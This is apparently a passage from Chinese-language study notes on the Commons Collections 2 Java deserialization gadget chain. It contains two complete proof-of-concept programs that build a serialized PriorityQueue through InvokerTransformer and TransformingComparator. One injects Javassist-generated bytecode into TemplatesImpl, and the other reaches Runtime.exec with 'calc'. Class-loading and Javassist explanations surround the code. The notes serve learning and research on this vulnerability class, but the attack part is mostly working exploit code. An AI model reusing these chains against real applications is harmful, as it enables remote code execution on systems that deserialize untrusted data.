import java.util.InputMismatchException;  
import java.util.PriorityQueue;  
  
public class CommonsCollection2 {  
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {  
  
        Transformer[] transformer = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),  
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),  
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),  
        };  
       // System.out.println(transformer);  
//        Transformer chaintransformer = new ChainedTransformer(transformer);  
//  
//        TransformingComparator comparator = new TransformingComparator(chaintransformer);  
//        PriorityQueue queue = new PriorityQueue(2,comparator);  
//        queue.add(1);  
//        queue.add(2);//调用offer()方法随便给队列中添加两个参数,调用add()也可以,add()最后也是调用的offer()方法。  
  
        Transformer chaintransformer = new ChainedTransformer(transformer);  
        TransformingComparator comparator = new TransformingComparator(chaintransformer);  
        PriorityQueue queue = new PriorityQueue(1);//创建实例。注意下面的顺序改变了。  
        queue.add(1);  
        queue.add(2);//传入两个参数  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取成员变量的field  
        field.setAccessible(true);//获取访问权限  
        field.set(queue,comparator);//设置参数  
  
  
  
        try{  
  
  
  
            FileOutputStream filepath = new FileOutputStream("./CC2.ser");  // 序列化  
            ObjectOutputStream object = new ObjectOutputStream(filepath);  
            object.writeObject(queue);  
////  
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("./CC2.ser"));  //序列化  
            objectInputStream.readObject();  
        }  
        catch (Exception e){  
            e.printStackTrace();  
        }  
  
    }  
  
}

TemplatesImpl的newTransformerCC2方法

已经学过了类加载机制,在来学一遍OnceAgain
参考:https://blog.csdn.net/2301_79724395/article/details/137886211

动态字节码加载
具体是在于三个函数
不管是远程加载class文件,还是本地加载class或是jar文件,Java中经历的都是下面这三个方法的调用过程

loadClass()->findClass()->defineClass()

loadClass()从已经加载的类缓存、父加载器等位置寻找类(其实就是双亲委派机制),在前面没有找到的情况下执行findClass

findClass()根据基础URL指定的方法来加载类的字节码,可能会在本地文件系统,jar包,或是远程http服务器上读取字节码,然后交给下一个函数

defineClass()
defineClass()的作用就是处理前面传入的字节码,将其处理为真正的Java类。

你看看,不久动态起来了吗。会根据不同的情况继续不同类型的加载

但是最关键的部分还得是ClassLoader#defineClass(),因为无论什么时候,它都是可以的

Javassit补充

参考:
https://xz.aliyun.com/t/10387?time__1311=mq%2BxBDyDu7G%3DI405DIYxrDcADRQR8%3De34D&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-2
简述:
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool
ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass
CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
    Demo:
import com.sun.javafx.image.BytePixelSetter;  
import javassist.CannotCompileException;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.NotFoundException;  
  
import java.io.IOException;  
  
public class javassit_harder {  
  
    public static void  CreateHarder() throws CannotCompileException, IllegalAccessException, InstantiationException, NotFoundException, IOException {  
        ClassPool aDefault = ClassPool.getDefault();  
        //默认返回ClassPool,一般通过该方法创建我们的ClassPool  
  
        //System.out.println(aDefault);        //创建一个类为harder  
        CtClass harder = aDefault.makeClass("harder");  
  
        String cmd = "System.out.println(\"hello harder!\");";  
  
        harder.makeClassInitializer().insertBefore(cmd);  
        //制作一个空的初始化,并在其前面插入要执行的命令语句  
  
        //重置类名字  
        String randomName = "harder"+System.nanoTime();  
  
        harder.setName(randomName);  
        //设置名字为 randomName        harder.writeFile();  
        //将类保存下来  
        Class Harder = harder.toClass();  
        //创建对象  
        Harder.newInstance();  
    }  
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, IllegalAccessException, InstantiationException {  
            try {  
                CreateHarder();  
            } catch (Exception e){  
                e.printStackTrace();  
            }  
    }  
}

到正式篇章了,开始分析!!!!!
字节码类加载主要定义类的函数为defineClass函数,提到字节码加载中必须想到Templateslmpl类
这里就不详细分析了,大概调用过程:

defineClass->defineTransletClasses->getfineTransletClasses->newTransformer

而newTransformer方法通过类InvokeTransfomer来反射出来


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.*;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.util.PriorityQueue;  
  
public class CommonsCollection2_TemplatesImpl {  
  
    public static void main(String[] args) throws Exception {  
  
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);  
        constructor.setAccessible(true);  
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");  
  
        TransformingComparator Tcomparator = new TransformingComparator(transformer);  
        PriorityQueue queue = new PriorityQueue(1);  
  
        ClassPool pool = ClassPool.getDefault();  
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));  
        CtClass cc = pool.makeClass("harder");  
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";  
        cc.makeClassInitializer().insertBefore(cmd);  
        String randomClassName = "harder" + System.nanoTime();  
        cc.setName(randomClassName);  
        //cc.writeFile();  
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  
        byte[] classBytes = cc.toBytecode();  
        byte[][] targetByteCodes = new byte[][]{classBytes};  
  
        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setFieldValue(templates, "_bytecodes", targetByteCodes);  
        setFieldValue(templates, "_name", "blckder02");  
        setFieldValue(templates, "_class", null);  
  
        Object[] queue_array = new Object[]{templates,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");  
        size.setAccessible(true);  
        size.set(queue,2);  
  
  
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        comparator_field.setAccessible(true);  
        comparator_field.set(queue,Tcomparator);  
  
        try{  
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));  
            outputStream.writeObject(queue);  
            outputStream.close();  
  
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));  
            inputStream.readObject();  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
    }  
  
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {  
        final Field field = getField(obj.getClass(), fieldName);  
        field.set(obj, value);  
    }  
  
    public static Field getField(final Class<?> clazz, final String fieldName) {  
        Field field = null;  
        try {  
            field = clazz.getDeclaredField(fieldName);  
            field.setAccessible(true);  
        }  
        catch (NoSuchFieldException ex) {  
            if (clazz.getSuperclass() != null)  
                field = getField(clazz.getSuperclass(), fieldName);  
        }  
        return field;  
  
  
  
  
    }  
  
  
}

参考:
https://blog.csdn.net/weixin_49047967/article/details/134763883
https://johnfrod.top/%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-%E5%9F%BA%E7%A1%80%E7%AF%87/